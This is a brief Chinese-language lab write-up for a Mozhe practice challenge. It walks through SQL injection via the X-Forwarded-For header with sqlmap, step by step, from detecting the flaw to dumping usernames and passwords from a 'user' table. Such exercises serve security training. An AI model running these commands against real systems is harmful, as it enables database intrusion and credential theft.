爆库记录(X-Forwarded-For注入漏洞实战 记录)
环境位置: https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe
参考: http://www.freesion.com/article/176849949/ 墨者里面的题 都有解
获取登陆地址的请求信息
往请求头信息加入X-Forwarded-For:*
一起写入 保存到本地txt文件 123.txt
执行sqlmap
搜索看有没有漏洞
sqlmap.py -r /Users/lucax/Desktop/123.txt
出现:(存在可以注入)
获取当前用户权限
sqlmap.py -r /Users/lucax/Desktop/123.txt --current-user
获取当前数据库库名
sqlmap.py -r /Users/lucax/Desktop/123.txt --dbs
获取数据库表名
sqlmap.py -r /Users/lucax/Desktop/123.txt -D webcalendar --tables
获取表里面的字段名
sqlmap.py -r /Users/lucax/Desktop/123.txt -D webcalendar -T user --columns
获取字段对应的值
sqlmap.py -r /Users/lucax/Desktop/123.txt -D webcalendar -T user -C id,username,password --dump